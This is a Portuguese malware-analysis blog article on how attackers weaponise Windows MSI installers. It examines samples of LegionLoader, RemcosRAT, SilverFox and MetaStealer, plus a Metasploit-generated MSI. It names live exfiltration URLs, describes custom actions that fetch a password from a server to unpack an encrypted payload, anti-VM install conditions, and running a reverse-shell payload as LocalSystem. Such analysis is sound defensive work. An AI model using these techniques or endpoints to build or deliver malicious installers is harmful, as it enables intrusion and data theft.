Malicious MSI – Tornando o MSI em uma arma

Escrito por  Rafael Santana

Abstract

Este artigo examina o formato Windows Installer (MSI) sob a perspectiva da segurança da informação, explorando como sua estrutura e funcionalidades podem ser exploradas para fins maliciosos. Através da análise detalhada de amostras recentes de malware, incluindo LegionLoader, RemcosRAT, SilverFox e MetaStealer, o estudo demonstra as diversas técnicas utilizadas por atores maliciosos para weaponizar instaladores MSI. A pesquisa revela uma evolução nas táticas de exploração, com uma transição de scripts JScript/VBScript para execução de código PowerShell e DLLs arbitrárias. São apresentadas análises práticas utilizando ferramentas como Orca e Advanced Installer, evidenciando como os recursos legítimos do formato MSI – incluindo ações customizadas, condições de instalação e manipulação de registro – podem ser subvertidos para atividades maliciosas. O estudo contribui para a compreensão das técnicas atuais de distribuição de malware e destaca a importância da análise de instaladores MSI no contexto da segurança corporativa.

Palavras-chave: MSI, Windows Installer, Malware, Segurança da Informação, Análise de Malware, Red Team

Introdução

Desde os meus 14 anos eu sabia que queria trabalhar com segurança da informação. Mais especificamente com a parte ofensiva da segurança da informação. Aliás, na época nem existia algo como “segurança ofensiva”. Começava a se falar sobre isso fora, mas aqui no Brasil as coisas começaram a surgir por volta do ano 2000. O famoso “bug bounty” sequer tinha sido “inventado”. Os programas de Bug Bounty começaram a ficar famosos quando Google e Facebook lançaram seus programas para “White Hats” (2010 e 2011 respectivamente). Então entre 2013 e 2015 o Vale do Silício abraçou o Bug Bounty (Microsoft, Github, Etsy e outros lançaram seus programas em 2015).

Portanto, toda essa “nova fase” de receber um salário sendo um “hacker ético” não existia (ou eu não conhecia ainda). Mas eu já sabia que eu queria fazer isso em algum momento!

Porém esse desejo só foi ser concretizado por volta de 10 anos depois! Antes disso passei por muitas áreas: suporte, programador, desenvolvedor web, analista de redes, administrador de redes, QA, enfim.

Ao longo desses muitos anos, teve uma coisa que sempre vi e continuo vendo até hoje: Instaladores MSI!

Instaladores MSI são excelentes para os administradores de rede. Tanto que se observa estes profissionais insistindo por anos que o DropBox crie um instalador MSI[1] ou até que a Microsoft volte a distribuir o Office (ou ao menos tenha a opção de baixar o instalador) por este formato[2]. Mas antes de entender os motivos desse formato ser tão amado pelos administradores de TI, deixe-me dar um histórico dele.

A história do formato MSI

O Windows Installer (anteriormente conhecido como Microsoft Installer) surgiu em 1999 (com o Office 2000) como uma tentativa da Microsoft de padronizar as instalações no Windows. Na época, cada software tinha seu próprio instalador e isso era um pesadelo para administradores de rede! Como garantir que todos os computadores teriam os mesmos programas instalados da mesma forma? Como remover completamente um programa que foi instalado? O MSI veio para resolver esses problemas.

Então, através do MSI, a Microsoft conseguiu:

– Padronizar a instalação de softwares para o sistema

– Evitar problemas com DLLs (DLL Hell)

– Permitir o gerenciamento de instalações em larga escala

– Permitir desinstalações completas

A versão atual do formato MSI é a versão 5.0, liberada com o Windows 7 e posteriores.

É por isso que os Administradores de TI amam o MSI

Pelo que disse acima, fica fácil descobrir porque Administradores de TI gostam tanto do formato MSI. Aqui um detalhamento maior dos motivos:

1. Automação e Gerenciamento

  – Instalação Silenciosa – O MSI suporta instalação, atualização e remoção de programas sem interação do usuário. Isso é essencial em ambientes corporativos, onde os administradores precisam automatizar processos.

   – Suporte a Scripts – Pode ser usado facilmente em scripts de gerenciamento, como os do PowerShell, para implantar software em larga escala.

2. Controle e Personalização

   – Parâmetros Customizáveis – Com arquivos de modificação de instalação (arquivos “.mst” – Microsoft Transform File), os administradores podem personalizar instalações para diferentes usuários ou departamentos.

   – Registro de Logs Detalhados – O MSI pode gerar logs detalhados para diagnóstico, facilitando a solução de problemas.

3. Consistência e Confiabilidade

   – Verificações de Integridade – O MSI realiza verificações automáticas para garantir que arquivos não sejam alterados ou corrompidos durante a instalação.

   – Gerenciamento de Dependências – Ele verifica pré-requisitos, como versões específicas do .NET Framework, garantindo que o ambiente esteja pronto para o software.

4. Desinstalação Simples

   – As aplicações instaladas via MSI são fáceis de desinstalar, removendo não apenas os arquivos do programa, mas também as entradas de registro e outros artefatos.

5. Integração com Ferramentas Corporativas

   – Group Policy – Os pacotes MSI podem ser distribuídos via GPO (Group Policy Objects) em ambientes do Active Directory.

   – Microsoft Intune e SCCM – Ferramentas modernas de gerenciamento de dispositivos também suportam MSI, facilitando a distribuição.

6. Padronização

   – O MSI é um formato padronizado pela Microsoft, garantindo que seja bem suportado e documentado no ecossistema Windows.

Entender o formato MSI é um desafio – O que sabemos

No Microsoft Learn existe a documentação do formato MSI[1] . Mas apesar de ensinar tudo que é possível sobre como “usar” o formato, tem muito pouco sobre o formato em si. Mas conseguimos perceber uma coisa ou outra. Por exemplo: está escrito no Microsoft Learn, na parte do pacote de instalação do Windows Installer, que “cada pacote de instalação inclue um arquivo .msi, contendo um banco de dados, um stream de sumário e stream de dados para várias partes da instalação.”[2]

Desse trecho é possível intuir que o formato consiste em um grande banco de dados.

Analisando ainda de algumas ferramentas oficiais da Microsoft e de terceiros, podemos entender que o MSI é essencialmente um banco de dados relacional armazenado em um arquivo, que usa um formato baseado no OLE Structured Storage (similar a arquivos como .doc ou .xls antigos). Ele contém:

  • Tabelas: Estruturas que armazenam dados sobre a instalação, como diretórios, componentes, arquivos e propriedades.
  • Ações Personalizadas: Scripts ou executáveis que são executados durante a instalação.
  • Sequências de Instalação: Define a ordem de execução das ações.

Exemplo de tabelas importantes:

  • File: Lista de arquivos a serem instalados.
  • Directory: Diretórios de destino.
  • Property: Configurações globais da instalação.

Ferramentas para ler/editar um MSI

Existem algumas ferramentas para lidar com o MSI.

Orca – Orca é uma ferramenta distribuída pela própria Microsoft e só pode ser encontrada no Windows SDK.

Na documentação da ferramenta está escrito que “orca.exe é um editor de tabelas de bancos de dados para criar e editar pacotes de instalação do Windows (Windows Installer) e mesclar módulos. A ferramenta provê uma interface gráfica para validação, destacando as entradas em particular onde erros ou avisos de validação podem ocorrer”.[1]

Advanced Installer – Advanced Installer é uma ferramenta paga para “instalação, atualização e configuração dos seus produtos de forma confiável e segura”[2]

Ela é bem fácil de usar e, das opções disponíveis, é a mais intuitiva.

7Zip – O 7Zip consegue “descompactar” o arquivo MSI

Msiexec – O “msiexec” é um utilitário da própria Microsoft para “instalar, modificar e executar operações no Windows Installer a partir da linha de comando”.[3]

Weaponizing MSI – Como o MSI pode ser um perigo?

Agora que entendemos um pouco do formato MSI, vamos entender como ele pode ser usado para entregas maliciosas ou por times de Red Team. Para isso vou demonstrar como alguns malwares tem utilizado esse formato e como o Metasploit usa. Vou abordar alguns malwares nesse artigo. Mas vou focar apenas no arquivo MSI. Não realizei análise em nenhum dos outros arquivos dos malwares aqui expostos.

Nesse artigo vou mostrar imagens do Advanced Installer.

LegionLoader

A análise inicia-se com um “loader” bem conhecido – LegionLoader. Como o nome diz, ele é um malware que fará download de outros malwares.

Em 2023, a Kaspersky publicou uma análise detalhada das técnicas utilizadas por esse malware[1].

O arquivo que consegui é um MSI de sha256 “1e5ce241801ccbef1583b30d15bc5340897f02797c496f524b56412515936fca”.

Abri o “instalador” no Advanced Installer. Na primeira tela observa-se o “nome” do programa que será instalado (Ifid Apps), a versão (4.4.6) e a empresa ou pessoa responsável (Grovi Tend).

Claro que tudo isso pode – e é, no caso de uso malicioso – ser preenchido por qualquer coisa, inclusive dados falsos.

Em “Files and Folders” observa-se todos os arquivos e pastas que o instalador criará. Clicando em cada uma das pastas “ativas”, verifica-se exatamente quais arquivos serão criados em cada uma.

No caso desse malware, ele instala vários programas legítimos com assinatura digital (openvpn, UnRar e VLC). Também tem diversas DLLs da Microsoft, da OpenVPN, G10 Code… Todas com assinatura digital. Tem diversas imagens, vários códigos Java e alguns outros arquivos também.

Além disso tudo tem um arquivo “rar” (sauighfs.rar). Ao tentar descompactar esse arquivo, se percebe que ele está protegido.

Em “Shortcuts” verifica-se todos os “atalhos” que o instalador vai criar. Nesse caso será instalado um atalho para o “vlc.exe” em “CommonAppDataFolder” (C:\ProgramData).

Em “Registry” observa-se todas as chaves de registro que são criadas. Para essa análise específica, não tem nada importante.

Em “Services” tem todos os parâmetros que o instalador executará caso instale um serviço no sistema, o que é bem interessante para um malware! Nesse caso, não tem nada aqui.

Em “Launch Conditions” tem os pré-requisitos para o instalador finalizar com sucesso ou terminar com falha (ou seja, não instalar o software). É possível definir diversas condições de sistema, de software e até customizadas.

Nesse caso, não tem nada fora do “padrão”.

O próximo lugar que temos que olhar é o “Custom Actions”. Lá estão “ações customizadas”, ou seja, ações específicas que devem ser executadas em momentos específicos da instalação.

Olhando esse local, vê-se que esse arquivo tem seis ações customizadas: “openvpn.exe”, “MessageBox”, “MessageBox_1”, “PowerShellScriptInline”, “SendCollectedData” e “SetProperty”.

Em “Installation Sequences” se consegue ver toda a ordem que cada ação aparecerá.

Olhando a ação “openvpn.exe”, percebe-se que apenas vai executar o “openvpn.exe” no momento da instalação que ele estiver.

A condição para isso é que “DesDerucr” não seja 0. Em “Properties”, observa-se que não é zero. Então vai rodar.

Em “MessageBox”, apenas mostrará uma caixinha de alerta na tela com título “One second.” e texto “Please confirm that you are human.”.

Em “MessageBox_1” será o mesmo que a ação customizada anterior.

Em PowerShellScriptInline, as coisas ficam interessantes. Perceba que um DLL (powershellscriptlauncher.dll) será chamada e executará a função “RunPowerShellScript”. O script que essa DLL deve executar é esse:

————————————————————————————————————-

ParamsScript$saifah = AI_GetMsiProperty "HttpPostServerResponse"
$oiawejfiou = [\[]uint32[\]]($saifah -replace 'a', '')
AI_SetMsiProperty "CyoqRin" $oiawejfiouScriptPreambleparam(
  [\[]alias("propFile")[\]]      [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropOutFilePath
 ,[\[]alias("propSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropKVSeparator
 ,[\[]alias("lineSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropLineSeparator
 ,[\[]alias("scriptFile")[\]]    [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $userScriptFilePath
 ,[\[]alias("scriptArgsFile")[\]][\[]Parameter(Mandatory=$false)[\]][\[]string[\]] $userScriptArgsFilePath
 ,[\[]Parameter(Mandatory=$true)[\]]                          [\[]string[\]] $testPrefix
 ,[\[]switch[\]]                                                       $isTest
 )

Function AI_GetMsiProperty( [\[]Parameter(Mandatory=$true)[\]]  [\[]string[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $testValue = $null
                          )
[\{]
  if ($isTest -and ($testValue -ne $null))
  [\{]
    [\[]string[\]] $newData = "$testPrefix$name$msiPropKVSeparator$testValue$msiPropLineSeparator"
    [\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
    return $testValue
  [\}]
  [\[]string[\]] $contentData = Get-Content $msiPropOutFilePath -raw
  [\[]array[\]] $content = $contentData -split $msiPropLineSeparator
  
  [\[]array[\]]::Reverse($content)
  ForEach ($line in $content)
  [\{]
    $lineTokens = $line -split $msiPropKVSeparator
    if ($lineTokens.Count -gt 1 -and $lineTokens[\[]0[\]] -eq $name)
    [\{]
      return $lineTokens[\[]1[\]]
    [\}]
  [\}]
  return ''
[\}]

Function AI_SetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $value
                          )
[\{]
  if ($value -eq $null)
  [\{]
    Write-Output "POTENTIAL_BUG: MSI property $name set to an uninitialized/null variable. Initialize empty variables using empty quotes."
  [\}]
  [\[]string[\]] $newData = "$name$msiPropKVSeparator$value$msiPropLineSeparator"
  [\[]System.IO.File[\]]::AppendAllText($msiPropOutFilePath, $newData, [\[]System.Text.Encoding[\]]::Unicode)
[\}]

Set-Alias -name "Get-Property" -value AI_GetMsiProperty
Set-Alias -name "Set-Property" -value AI_SetMsiProperty

try
[\{]
  [\[]string[\]] $userScriptArgs = Get-Content $userScriptArgsFilePath
  
  $userScriptFilePath = $userScriptFilePath.Replace(' ', '` ')
  $userScriptFilePath = $userScriptFilePath.Replace('(', '`(')
  $userScriptFilePath = $userScriptFilePath.Replace(')', '`)')
  $userScriptFilePath = $userScriptFilePath.Replace('$', '`$')
  $userScriptFilePath = $userScriptFilePath.Replace('&', '`&')
  # Simple quotes are problematic, especially when more in a succession
  # e.g. in a username. We need to enclose each bundle of them in a simple quoted string
  # with each contained simple quote being escaped by doubling. N initial quotes => (N+1)*2 final quotes
  $userScriptFilePath = $userScriptFilePath.Replace("''''", "??????????")
  $userScriptFilePath = $userScriptFilePath.Replace("'''",  "????????")
  $userScriptFilePath = $userScriptFilePath.Replace("''",   "??????")
  $userScriptFilePath = $userScriptFilePath.Replace("'",    "????")
  $userScriptFilePath = $userScriptFilePath.Replace('?',    "'")
  
  Invoke-Expression "$userScriptFilePath $userScriptArgs"

  if ($LastExitCode -ne $null)
  [\{]
    exit $LastExitCode;
  [\}]
[\}]
catch
[\{]
   Write-Output "ERROR: $($_.Exception.Message)"
   Exit 0x23E #ERROR_UNHANDLED_EXCEPTION
[\}]

————————————————————————————————————-

Analisando essa DLL, tem referências ao Advanced Installer e a Assinatura Digital da empresa. Então é uma DLL do Advanced Installer para executar scripts powershell.

Em “SendCollectedData” o instalador chamará a DLL “datauploader.dll”, outra DLL do Advanced Installer para enviar dados para um servidor remoto, e executará a função “SendCollectedData”.

Nos “Action Data” (dados para a ação) tem: HttpPostCollectDataTime;Date;ProductIDHttpPostSuppressSpawnMsgBoxHttpPostUrlhttps://taco-keys.com/licenseUser.php

Finalmente SetProperty se define a propriedade “DesRecru” com a resposta do servidor HTTP.

Portanto, esse instalador executa um script MSI, envia dados capturados para um servidor externo e executa o openvpn na máquina.

RemcosRAT

O RemcosRAT (Remcos vem de Remote Control and Surveillance) é vendido como um programa legítimo de uma empresa alemã (Breaking Security) para gerenciamento remoto do Windows mas tem sido amplamente usado em campanhas maliciosas.

Foi identificada uma campanha que tem utilizado o RemcosRAT para controle remoto e roubo de informações.

A campanha utiliza um arquivo “.msi” para “instalar” o malware.

O “.msi” instala os seguintes arquivos em uma pasta temporária. O interessante é que o EHttpSrv é um HTTP Server legítimo da ESET. A dll “http_dll.dll”, também assinada digitalmente pela ESET, é parte integrante do ESET Personal Firewall UI.

Após instalar os arquivos, o instalador executará os dois executáveis – O HTTP Server da Eset e o malware Updwork.exe

SilverFox

Silver Fox é um grupo APT chinês. Eles têm usado um instalador “.msi” para a nova campanha que eles iniciaram.

Analisando o MSI vê-se que o instalador descompactará dois arquivos em %ProgramFiles%\Windows NT (o que indica a necessidade de permissões administrativas para a instalação).

Em uma rápida análise verifica-se que o 7z.bin é o executável do 7Zip criptografado com XOR usando chave 0x88. No arquivo “file.bin” é necessário uma análise mais aprofundada para descobrir o que é.

Em Ações Customizadas observa-se que o instalador descompactará também uma DLL intitulada “_”. O instalador chamará uma função exportada dessa DLL (dasfiqbfiiqfr) no momento que os outros dois arquivos forem descompactados. Essa DLL rodará sob a conta “LocalSystem” do Windows com total privilégios.

Em uma rápida análise verifica-se que essa DLL está bastante ofuscada.

LegionLoader; RobotDropper

Esta amostra foi analisada em dezembro de 2024, durante sua campanha ativa de distribuição.

Como o outro que mostrei aqui, esse também usa um instalador “.msi”. Ele irá descompactar 55 arquivos! Entre eles estão diversas DLLs do Windows, o programa de linha de comando para descompactar arquivos “.rar”, um executável da Adobe Media Core CS6 e vários outros.

Como no outro sample, esse também vem com um arquivo “.rar” com senha.

Nos parâmetros de instalação, o malware usa as opções de interface limitada (apenas mostra uma barra de progresso). Não salva pontos de restauração e reduz as mensagens ao mínimo.

Esse sample tem algumas condições para instalar! Ele requer no mínimo 1GB de memória RAM e não permite que se instale em VMs. Essa é uma medida clássica anti-análise e anti-VM.

Nas Ações Customizadas, temos algumas coisas a mais neste sample que não tinha no outro. A primeira ação customizada é nomeada “UnRar.exe”. Essa ação, ao finalizar a instalação do sample, roda o comando “APPDIR\UnRar.exe x -p[CeveralSes] -o + “[APPDIR]ghiuoqfj.rar” “[APPDIR]”. Nele, o instalador executará esse comando pegando propriedades do próprio instalador – a senha a ser usada estará na propriedade CeveralSes e onde descompactará estará em APPDIR.

Na ação “createdump.exe”, o instalador executará o executável “createdump.exe”. Esse arquivo é o “Microsoft .NET Runtime Crash Dump Generator”, assinado digitalmente e válido.

Na ação “suriqk.bat”, o instalador executará o “ImporterREDServer.exe” (da Adobe Media Core CS6).

Na ação “SetProperty” tem algo bem interessante. Ela definirá a propriedade “CeveralSes” (lembra que é essa propriedade que tem a senha do rar? =D). Está determinado que essa propriedade será preenchida com o valor retornado por [HttpPostServerResponse].

Como no outro sample, o instalador enviará dados capturados para uma URL. Nesse caso: https[:]//cubermo[.]com/updater[.]php

MetaStealer

O MetaStealer é um código bem conhecido. Ele está ativo desde 2022 e usa trechos de código do RedLine.

Os principais meios de distribuição deste malware são através de malspam, malvertising e programas crackeados anunciados em canais roubados do Youtube.

A amostra analisada do MetaStealer foi obtida em dezembro de 2024. Ela utiliza um instalador “.msi”.

Algo interessante neste instalador é que ele simula as informações do Google Chrome. Inclusive registra o programa no Painel de Controle, em Adicionar e Remover Programas, com o ícone do Google Chrome.

Algo muito interessante neste instalador é que não tem nenhum arquivo ou pastas a serem “instalados”.

Também não existem atalhos. E a única chave de registro criada não é tão relevante para a análise.

Também não há Associação de Arquivos, Serviços, Condições específicas para instalação, nada…

Saltando para Ações Customizadas, observa-se várias ações.

Várias das ações serão ativadas chamando a DLL “bz.customaction.dll” e alguma função específica.

Descompactei este arquivo de instalação com o 7Zip. Na pasta descompactada existiam as tabelas do MSI e dois arquivos interessantes: “Binary.bz.CustomActionDll” e “Binary.bz.WrappedSetupProgram”.

O primeiro binário é a DLL usada em diversos momentos das Ações Customizadas. Já o segundo eu tentei realizar alguma engenharia reversa, mas não parecia funcionar… Então abri o arquivo em um editor hexadecimal e vi quatro letras no início do arquivo: MSCF

Essa é a assinatura do arquivo compactado “.cab”. Então apenas renomeei o arquivo para “Binary.bz.WrappedSetupProgram.cab” e descompactei com o WinRar. Após isso, apareceu o malware. Ele se passa pelo instalador do Google Chrome.

Metasploit

Para testar o “MSI” malicioso do Metasploit, gerei dois “MSI”s: um com UAC e outro sem UAC.

Os detalhes do MSI são definidos para a empresa fictícia “Acme Ltd.” e o nome do produto é “Foobar 1.0”.

O MSI do Metasploit não instala nenhum arquivo, chave de registro, atalhos, nada. Também não tem condições de instalação.

Saltando para “Ações Customizadas”, existem duas ações: “ExecPayload” e “FailInstallation”. Perceba que ExecPayload será executado no momento de “preparação” para instalação e “FailInstallation” será executado no momento de “adicionar recursos”.

Em ExecPayload, o MSI executará um arquivo executável que está dentro do instalador. Esse executável é o payload do Metasploit de shell reverso dentro de um “.exe”.

Já a ação “FailInstallation” executará um script “.vbs” (Visual Basic Script) que executará um comando inexistente, fazendo a instalação falhar e fechar.

Perceba que a ação ExecPayload será executado com privilégios totais das consta LocalSystem!

Essa é a única diferença para o instalador que não exige UAC – ExecPayload não roda com permissões de LocalSystem no segundo caso.

Conclusão

Há pouquíssimo tempo atrás, uma técnica muito comum usada por malwares era colocar códigos JScript ou VBScript para ser executado pelo instalador “.MSI”. Alguns instaladores sequer tinham arquivos para serem instalados. O instalador só era usado para rodar o script.

Hoje nenhum dos samples populares usam essa técnica. Eles preferem rodar algum código PowerShell ou rodar uma DLL arbitrária.

Através disso vemos a versatilidade do instalador “.msi” e como ele pode ser usado para atividades maliciosas e também para atividades de RedTeam.

Abraços e até a próxima.

Este artigo foi produzido durante o período em que Rafael Santana integrou a equipe da Hakai Security

Logo da Hakai.